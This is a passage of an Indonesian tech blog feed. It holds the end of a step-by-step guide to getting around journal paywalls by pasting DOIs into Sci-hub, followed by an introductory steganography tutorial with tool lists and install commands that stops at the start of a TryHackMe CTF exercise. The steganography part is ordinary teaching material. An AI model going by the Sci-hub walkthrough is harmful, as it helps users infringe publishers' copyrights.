&lt;section&gt;&lt;h1&gt;Sci-hub Domain&lt;a href=&quot;#sci-hub-domain&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h1&gt;&lt;p&gt;Berikut adalah beberapa domain yang aktif dan official milik sci-hub yang dapat diakses gratis via internet&lt;sup&gt;&lt;a href=&quot;#user-content-fn-4&quot;&gt;4&lt;/a&gt;&lt;/sup&gt;:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://sci-hub.se/&quot; target=&quot;_blank&quot;&gt;https://sci-hub.se/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://sci-hub.st/&quot; target=&quot;_blank&quot;&gt;https://sci-hub.st/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://sci-hub.ru/&quot; target=&quot;_blank&quot;&gt;https://sci-hub.ru/&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;/section&gt;
&lt;section&gt;&lt;h1&gt;Downloading Article via Sci-hub&lt;a href=&quot;#downloading-article-via-sci-hub&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h1&gt;&lt;p&gt;Seperti yang saya sampaikan sebelumnya di bagian About Sci-hub, paper atau artikel jurnal yang berbayar - yang tidak bisa diakses tanpa harus membayar langganan - bisa di-&lt;em&gt;bypass&lt;/em&gt; hanya dengan memasukkan &lt;em&gt;link&lt;/em&gt; atau tautan DOI artikel yang ingin dibaca atau diunduh ke halaman situs sci-hub.&lt;/p&gt;&lt;p&gt;Memang, tidak semua jurnal mengharuskan pembacanya untuk membayar terlebih dahulu agar bisa mendapatkan artikel yang diinginkan alias &lt;a href=&quot;https://en.wikipedia.org/wiki/Open_access&quot; target=&quot;_blank&quot;&gt;&lt;em&gt;open access&lt;/em&gt;&lt;/a&gt;, tapi memang ada juga beberapa artikel atau jurnal yang mengharuskan kita untuk membayar atau berlangganan terlebih dahulu. Jadi, di sini, saya akan men-demonstrasikan cara mengunduh jurnal berbayar dengan sci-hub.&lt;/p&gt;&lt;p&gt;Berikut adalah target jurnal yang akan kita unduh:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.sciencedirect.com/science/article/abs/pii/S1566253520302906&quot; target=&quot;_blank&quot;&gt;The four dimensions of social network analysis: An overview of research methods, applications, and software tools&lt;/a&gt;
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1006&quot; height=&quot;799&quot; src=&quot;/_astro/ss4.DwXYzBPC_ZPxNjS.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Seperti terlihat pada tangkapan layar di atas, artikel tersebut tidak bisa kita buka karena memerlukan akses langgangan alias berbayar. Agar bisa mengakses artikel tersebut tanpa harus berbayar, kita hanya perlu men-&lt;em&gt;copy&lt;/em&gt; DOI dari artikel tersebut (kotak berwarna hijau),&lt;/p&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1044&quot; height=&quot;758&quot; src=&quot;/_astro/ss5.B5dYxRKp_Z18t68n.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;lalu paste-kan ke halaman web sci-hub. Klik Open.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1301&quot; height=&quot;752&quot; src=&quot;/_astro/ss6.DrBdKt9A_ZcmauK.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Boom! Kita berhasil membuka akses artikel tersebut!&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h1&gt;Troubleshooting&lt;a href=&quot;#troubleshooting&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h1&gt;&lt;p&gt;Beberapa kendala tetap bisa saja terjadi, misalnya, ternyata DOI yang di-&lt;em&gt;copy-paste&lt;/em&gt;-kan tidak bisa terbuka di sci-hub. Penyebabnya yang paling mungkin adalah karena artikel tersebut &lt;strong&gt;tidak terindeks di database sci-hub&lt;/strong&gt;. Semakin baru artikelnya, semakin besar kemungkinan artikel tersebut belum terindeks di database.&lt;/p&gt;&lt;p&gt;Punya kendala lain? Atau mungkin ingin supaya artikel yang kalian incar segera bisa diakses di sci-hub? Jangan minta tolong ke saya karena saya bukan siapa-siapanya mba Alexandra, tapi langsung aja kontak orang yang bersangkutan di&lt;sup&gt;&lt;a href=&quot;#user-content-fn-5&quot;&gt;5&lt;/a&gt;&lt;/sup&gt;:
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;810&quot; height=&quot;366&quot; src=&quot;/_astro/ss7.CsJNwf-I_1e1s7w.webp&quot; /&gt;&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Email: &lt;a href=&quot;#&quot;&gt;alexandra@dns.cymru&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Twitter: &lt;a href=&quot;https://x.com/ringo_ring&quot; target=&quot;_blank&quot;&gt;@ringo_ring&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Telegram: &lt;a href=&quot;https://t.me/mindwrapper&quot; target=&quot;_blank&quot;&gt;@mindwrapper&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Facebook: &lt;a href=&quot;https://www.facebook.com/alexandra.elbakyan&quot; target=&quot;_blank&quot;&gt;alexandra.elbakyan&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Sekian, selamat bereksperimen, dan…&lt;/p&gt;&lt;p&gt;Sampai jumpa di artikel saya yang lain!!&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;Btw, saya mencoba suasana baru, kali ini saya membuat tulisan ini di Arch Linux KDE Plasma 6:
&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;mydesktop&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1080&quot; src=&quot;/_astro/mydesktop.Bl6Lqeyn_2fX5RG.webp&quot; /&gt;&lt;figcaption&gt;mydesktop&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://id.wikipedia.org/wiki/Sci-Hub&quot; target=&quot;_blank&quot;&gt;https://id.wikipedia.org/wiki/Sci-Hub&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://sci-hub.se/about&quot; target=&quot;_blank&quot;&gt;https://sci-hub.se/about&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-2&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://sci-hub.se/database&quot; target=&quot;_blank&quot;&gt;https://sci-hub.se/database&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-3&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://sci-hub.se/mirrors&quot; target=&quot;_blank&quot;&gt;https://sci-hub.se/mirrors&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-4&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://sci-hub.se/alexandra#contact&quot; target=&quot;_blank&quot;&gt;https://sci-hub.se/alexandra#contact&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-5&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>Steganography - Hiding secret(s) Inside A File</title><link>https://shangdi.github.io/posts/tech/steganography/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/steganography/</guid><description>Steganography is the practice of concealing information within another message or physical object to avoid detection.</description><pubDate>Mon, 13 May 2024 03:52:32 GMT</pubDate><content:encoded>&lt;blockquote&gt;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Steganography&lt;/strong&gt;&lt;/em&gt; &lt;em&gt;is the practice of representing information within another message or physical object&lt;/em&gt;.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;/blockquote&gt;
&lt;section&gt;&lt;h1&gt;Pengertian &amp;amp; Sejarah Steganography&lt;a href=&quot;#pengertian--sejarah-steganography&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h1&gt;&lt;p&gt;Pengertian &lt;em&gt;steganography&lt;/em&gt; [selanjutnya saya singkat dengan &lt;strong&gt;stego&lt;/strong&gt;] memang sesederhana “ilmu dan seni menyembunyikan pesan atau informasi rahasia di dalam pesan lain”.&lt;/p&gt;&lt;p&gt;Tapi sebetulnya, jauh sebelum komputer ditemukan, proses stego ini sudah dilakukan sejak zaman Yunani Kuno. Sebuah kisah dari penguasa Yunani saat itu, Herodotus pada tahun 440 BC (&lt;strong&gt;re&lt;/strong&gt;: &lt;em&gt;Before Christ / Sebelum Masehi&lt;/em&gt;) yang terdapat dalam buku &lt;em&gt;&lt;strong&gt;Histories of Herodotus&lt;/strong&gt;&lt;/em&gt;, menceritakan tentang bagaimana kepala budak digunakan sebagai media &lt;em&gt;steganography&lt;/em&gt;. Caranya, kepala budak digundul, kemudian ditulisi pesan, selanjutnya rambut budak tersebut dibiarkan tumbuh untuk kemudian dikirim. Nanti, penerima budak tersebut akan menggunduli kembali kepala budak tersebut agar pesannya dapat terbaca.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;p&gt;Sekarang, dengan keberadaan komputer, perkembangan stego tentu sudah jauh berkembang. Salah satu teknik yang paling banyak digunakan yaitu &lt;strong&gt;LSB&lt;/strong&gt; (&lt;em&gt;Least Significant Bit&lt;/em&gt;) dengan menyisipkan bit ke dalam file digital (teks / gambar / audio / video). Melalui teknik ini, informasi rahasia disisipkan ke dalam file digital dengan cara mengganti bit-bit paling tidak signifikan dalam file digital dengan bit-bit pesan rahasia. Bit-bit yang diganti tidak akan mempengaruhi kualitas file digital dan tidak akan terlihat oleh mata manusia.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-3&quot;&gt;3&lt;/a&gt;&lt;/sup&gt; Kurang lebih, berikut adalah ilustrasi dari proses LSB:&lt;sup&gt;&lt;a href=&quot;#user-content-fn-4&quot;&gt;4&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;323&quot; src=&quot;/_astro/ss1.Bj5oRRl1_1N4Ptp.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Contohnya seperti gambar berikut ini:
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1300&quot; height=&quot;536&quot; src=&quot;/_astro/ss2.D-sj4oO9_Z7YOs7.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Salah satu dari dua gambar apel di atas sudah saya sisipi sebuah file bernama “secrets.txt” dengan isi file &lt;em&gt;This is an Apple&lt;/em&gt;.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;499&quot; height=&quot;267&quot; src=&quot;/_astro/ss3.CyrWtglD_Z18WmoR.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Pertanyaannya…&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Bisakah kalian melihat perbedaan kedua gambar tersebut?&lt;/li&gt;
&lt;li&gt;Bisakah kalian menebak mana file gambar apel yang sudah disisipi file “secrets.txt”?&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Kalau dilihat gambarnya seklias, hampir tidak terlihat perbedaan antara file gambar apel di sebelah kiri (apple.jpg) dan file gambar apel di sebelah kanan (apple2.jpg), bukan? Tapi, kalau diperhatikan dengan seksama, bahkan dari ukuran file-nya saja sudah berbeda. File gambar apel di sebelah kiri berukuran 2.4 MB, sementara file gambar apel di sebelah kanan berukuran 2.6 MB. Artinya, file gambar apel di sebelah kanan (apple2.jpg) adalah gambar yang sudah disisipi file “secrets.txt” tadi, sehingga ukuran file-nya jadi lebih besar.&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h1&gt;Pemanfaatan Steganography dalam Cyber Security&lt;a href=&quot;#pemanfaatan-steganography-dalam-cyber-security&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h1&gt;&lt;p&gt;Stego sebagai teknik dapat digunakan oleh pakar siber untuk menyembunyikan pesan atau informasi rahasia. Sebelumnya, kita sudah melihat, stego sudah digunakan sejak zaman Yunani Kuno untuk mengirim pesan. Di zaman modern, ketika Perang Dunia 1, Kedutaan Jerman di Amerika (Washington D.C.) mengirimkan pesan ke kantor pusat di Berlin via Telegram (bukan telegram aplikasi seperti sekarang tentu saja). Pesan yang dikirim adalah seperti ini&lt;sup&gt;&lt;a href=&quot;#user-content-fn-5&quot;&gt;5&lt;/a&gt;&lt;/sup&gt;:
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;961&quot; height=&quot;423&quot; src=&quot;/_astro/ss4.BAEm_keV_2mFhTA.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Membaca huruf pertama dari setiap kata pada pesan pertama atau huruf kedua dari setiap kata pada pesan kedua akan menghasilkan informasi tersembunyi berikut ini:&lt;/p&gt;&lt;p&gt;&lt;em&gt;Pershing Sails From N.Y. June 1&lt;/em&gt;&lt;/p&gt;&lt;p&gt;Namun, stego juga dapat disalahgunakan oleh para &lt;em&gt;hacker&lt;/em&gt; untuk menyerang target serangannya. Misalnya, pada tahun 2022, sebuah perusahaan keamanan siber &lt;a href=&quot;https://www.proofpoint.com/us&quot; target=&quot;_blank&quot;&gt;Proofpoint&lt;/a&gt; merilis laporan mengenai aktivitas mencurigakan (&lt;em&gt;malicious activity&lt;/em&gt;) yang membahayakan Perancis. Penyerang menggunakan teknis stego untuk menyembunyikan &lt;em&gt;malicious script&lt;/em&gt; pada sebuah gambar di dalam dokumen MS. Word yang menyamar sebagai informasi yang terkait dengan aturan &lt;a href=&quot;https://learn.microsoft.com/en-us/compliance/regulatory/gdpr&quot; target=&quot;_blank&quot;&gt;GDPR&lt;/a&gt;. Padahal, &lt;em&gt;script&lt;/em&gt; tersebut ternyata men-&lt;em&gt;trigger&lt;/em&gt; atau memicu pengunduhan &lt;em&gt;backdoor&lt;/em&gt; yang langsung menginstall sendiri ke perangkat korban&lt;sup&gt;&lt;a href=&quot;#user-content-fn-6&quot;&gt;6&lt;/a&gt;&lt;/sup&gt;.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1760&quot; height=&quot;1320&quot; src=&quot;/_astro/ss5.D7oeCPXp_Z1uVa9x.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h1&gt;Jenis - jenis Steganography&lt;a href=&quot;#jenis---jenis-steganography&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h1&gt;&lt;p&gt;Berikut adalah 5 jenis stego yang umum dijumpai di era digial saat ini. Sebab, sebetulnya pesan dapat disembunyikan dengan berbagai cara dan kita hanya dibatasi oleh imajinasi dan teknologi yang ada saat ini.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-7&quot;&gt;7&lt;/a&gt;&lt;/sup&gt;:&lt;/p&gt;&lt;section&gt;&lt;h2&gt;Image Steganography&lt;a href=&quot;#image-steganography&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Image stego berarti menyisipkan pesan rahasia ke dalam file gambar. Teknik yang populer digunakan adalah LSB (&lt;em&gt;Least Significant Bit&lt;/em&gt;) seperti yang sudah dijelaskan sebelumnya. Jadi, secara teknis, kita hanya perlu mengganti bit-bit yang paling tidak signifikan dalam sebuah file gmabar untuk diganti dengan bit informasi yang ingin kita sisipkan&lt;sup&gt;&lt;a href=&quot;#user-content-fn-8&quot;&gt;8&lt;/a&gt;&lt;/sup&gt;.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;278&quot; src=&quot;/_astro/ss6.DrYDSDWt_1KiUOv.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Beberapa &lt;em&gt;tools&lt;/em&gt; yang dapat kita gunakan untuk melakukan &lt;em&gt;image&lt;/em&gt; stego adalah sebagai berikut:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;OpenStego: &lt;a href=&quot;https://www.openstego.com/&quot; target=&quot;_blank&quot;&gt;https://www.openstego.com/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;QuickStego: &lt;a href=&quot;https://download.cnet.com/quickstego/3000-2092_4-75593140.html&quot; target=&quot;_blank&quot;&gt;https://download.cnet.com/quickstego/3000-2092_4-75593140.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Steghide: &lt;a href=&quot;https://steghide.sourceforge.net/&quot; target=&quot;_blank&quot;&gt;https://steghide.sourceforge.net/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Zsteg: &lt;a href=&quot;https://github.com/zed-0xff/zsteg&quot; target=&quot;_blank&quot;&gt;https://github.com/zed-0xff/zsteg&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;/section&gt;&lt;section&gt;&lt;h2&gt;Audio Steganography&lt;a href=&quot;#audio-steganography&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Audio stego berarti menyisipkan pesan rahasia ke dalam file audio. Prinsip teknisnya sama dengan &lt;em&gt;image&lt;/em&gt; stego, yaitu menggunakan metode LSB dengan mengganti bit paling tidak signifikan dalam audio file untuk diganti dengan bit pesan atau informasi rahasia yang ingin disisipkan. Namun, jika ditelaah lebih dalam, sebetulnya ada beberapa teknik audio stego yang dapat dilakukan&lt;sup&gt;&lt;a href=&quot;#user-content-fn-9&quot;&gt;9&lt;/a&gt;&lt;/sup&gt;.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;663&quot; height=&quot;602&quot; src=&quot;/_astro/ss7.fFKCl-Ob_1cMOls.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Beberapa &lt;em&gt;tools&lt;/em&gt; yang dapat kita gunakan untuk melakukan audio stego adalah sebagai berikut:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;DeepSound: &lt;a href=&quot;https://github.com/Jpinsoft/DeepSound&quot; target=&quot;_blank&quot;&gt;https://github.com/Jpinsoft/DeepSound&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/fabienpe/MP3Stego&quot; target=&quot;_blank&quot;&gt;https://github.com/fabienpe/MP3Stego&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;SilentEye: &lt;a href=&quot;https://sourceforge.net/projects/silenteye/&quot; target=&quot;_blank&quot;&gt;https://sourceforge.net/projects/silenteye/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;OpenPuff: &lt;a href=&quot;https://embeddedsw.net/OpenPuff_download.html&quot; target=&quot;_blank&quot;&gt;https://embeddedsw.net/OpenPuff_download.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Coagula: &lt;a href=&quot;https://www.abc.se/~re/Coagula/Coagula.html&quot; target=&quot;_blank&quot;&gt;https://www.abc.se/~re/Coagula/Coagula.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Invisible Ink: &lt;a href=&quot;https://sourceforge.net/projects/diit/&quot; target=&quot;_blank&quot;&gt;https://sourceforge.net/projects/diit/&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;/section&gt;&lt;section&gt;&lt;h2&gt;Video Steganography&lt;a href=&quot;#video-steganography&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Video stego berarti menyisipkan pesan rahasia ke dalam file video. Prinsipnya tetap sama seperti image stego, namun video stego memungkinkan kita untuk menyimpan lebih banyak data ke dalam file video. Karena, setiap frame adalah sebuah gambar sehingga kita bisa menyisipkan banyak data ke dalam file video tersebut&lt;sup&gt;&lt;a href=&quot;#user-content-fn-10&quot;&gt;10&lt;/a&gt;&lt;/sup&gt;.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1067&quot; height=&quot;609&quot; src=&quot;/_astro/ss8.58TNZ_yO_27MLOr.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;Tools&lt;/em&gt; yang dapat digunakan untuk video stego adalah sebagai berikut:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Steganosaurus: &lt;a href=&quot;https://steganosaur.us/&quot; target=&quot;_blank&quot;&gt;https://steganosaur.us/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;StegoStick: &lt;a href=&quot;https://sourceforge.net/projects/stegostick/&quot; target=&quot;_blank&quot;&gt;https://sourceforge.net/projects/stegostick/&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;/section&gt;&lt;section&gt;&lt;h2&gt;Text Steganography&lt;a href=&quot;#text-steganography&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Teks stego adalah stego paling tua yang pernah ada. Salah satu contoh penerapan teks stego adalah dengan metode substitusi huruf. Pesan dapat disembunyikan di dalam teks melalui ukuran huruf, spasi, atau karakteristik lain yang sulit dilihat sehingga hanya orang yang tahu yang dapat membacanya&lt;sup&gt;&lt;a href=&quot;#user-content-fn-11&quot;&gt;11&lt;/a&gt;&lt;/sup&gt;.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1077&quot; height=&quot;917&quot; src=&quot;/_astro/ss9.B2SizhaY_Z1KbfRI.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h1&gt;Steganography in (Hacker) Movie&lt;a href=&quot;#steganography-in-hacker-movie&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h1&gt;&lt;p&gt;Berikut adalah secuplik potongan video dari serial &lt;em&gt;hacker&lt;/em&gt; terbaik sepanjang masa, yaitu &lt;strong&gt;Mr. Robot&lt;/strong&gt; yang sedang mendemonstrasikan Elliot mempraktikkan stego:&lt;/p&gt;
&lt;/section&gt;
&lt;section&gt;&lt;h1&gt;Demonstrasi&lt;a href=&quot;#demonstrasi&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h1&gt;&lt;p&gt;Sekarang, saya akan mendemonstrasikan atau mempraktikkan proses stego menggunakan beberapa &lt;em&gt;tools&lt;/em&gt; atau &lt;em&gt;software&lt;/em&gt; yang beberapa diantaranya bersifat &lt;em&gt;open source&lt;/em&gt; dan bahkan tersedia di repo Kali Linux. Beberapa tools yang saya gunakan dalam demo ini adalah sebagai berikut:&lt;/p&gt;












































































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;No&lt;/th&gt;&lt;th&gt;Tools&lt;/th&gt;&lt;th&gt;Distribusi&lt;/th&gt;&lt;th&gt;Instalasi&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;1&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Steghide&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Debian&lt;/td&gt;&lt;td&gt;&lt;code&gt;sudo apt install steghide&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;Arch&lt;/td&gt;&lt;td&gt;&lt;code&gt;sudo pacman -S steghide&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;OpenSUSE&lt;/td&gt;&lt;td&gt;&lt;code&gt;sudo zypper in steghide&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;Fedora&lt;/td&gt;&lt;td&gt;&lt;code&gt;sudo dnf install steghide&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;2&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Exiftool&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Debian&lt;/td&gt;&lt;td&gt;&lt;code&gt;sudo apt install exiftool&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;Arch&lt;/td&gt;&lt;td&gt;&lt;code&gt;sudo pacman -S exiftool&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;OpenSUSE&lt;/td&gt;&lt;td&gt;&lt;code&gt;sudo zypper in exiftool&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;Fedora&lt;/td&gt;&lt;td&gt;&lt;code&gt;sudo dnf install exiftool&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;3&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Zsteg&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;All&lt;/td&gt;&lt;td&gt;&lt;code&gt;gem install zsteg&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;4&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Stegoveritas&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;All&lt;/td&gt;&lt;td&gt;&lt;code&gt;pip install stegoveritas&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;5&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Sonic Visualiser&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;All&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://www.sonicvisualiser.org/download.html&quot; target=&quot;_blank&quot;&gt;https://www.sonicvisualiser.org/download.html&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Keterangan&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;[x] Zsteg diinstall via ruby&lt;/p&gt;&lt;p&gt;[x] Stegoveritas diinstall via python&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Untuk demonstasi ini, saya mengunakan 3 file dari &lt;em&gt;room&lt;/em&gt; &lt;strong&gt;CC: Steganography&lt;/strong&gt; milik &lt;a href=&quot;https://tryhackme.com/r/room/ccstego&quot; target=&quot;_blank&quot;&gt;Tryhackme&lt;/a&gt;. Ketiga file tersebut bisa kalian download di sini:&lt;/p&gt;














&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;File1&lt;/th&gt;&lt;th&gt;File2&lt;/th&gt;&lt;th&gt;File3&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;../images/steganography/test/exam1.jpeg&quot;&gt;exam1.jpeg&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;../images/steganography/test/exam2.wav&quot;&gt;exam2.wav&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;../images/steganography/test/qrcode.png&quot;&gt;qrcode.png&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;section&gt;&lt;h2&gt;Soal&lt;a href=&quot;#soal&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Tugas kita sederhana, kita hanya perlu mencari &lt;em&gt;&lt;strong&gt;key&lt;/strong&gt;&lt;/em&gt; yang tersimpan dalam masing-masing file tersebut.&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Key File1: …?&lt;/li&gt;
&lt;li&gt;Key File2: …?&lt;/li&gt;
&lt;li&gt;Key File3: …?&lt;/li&gt;
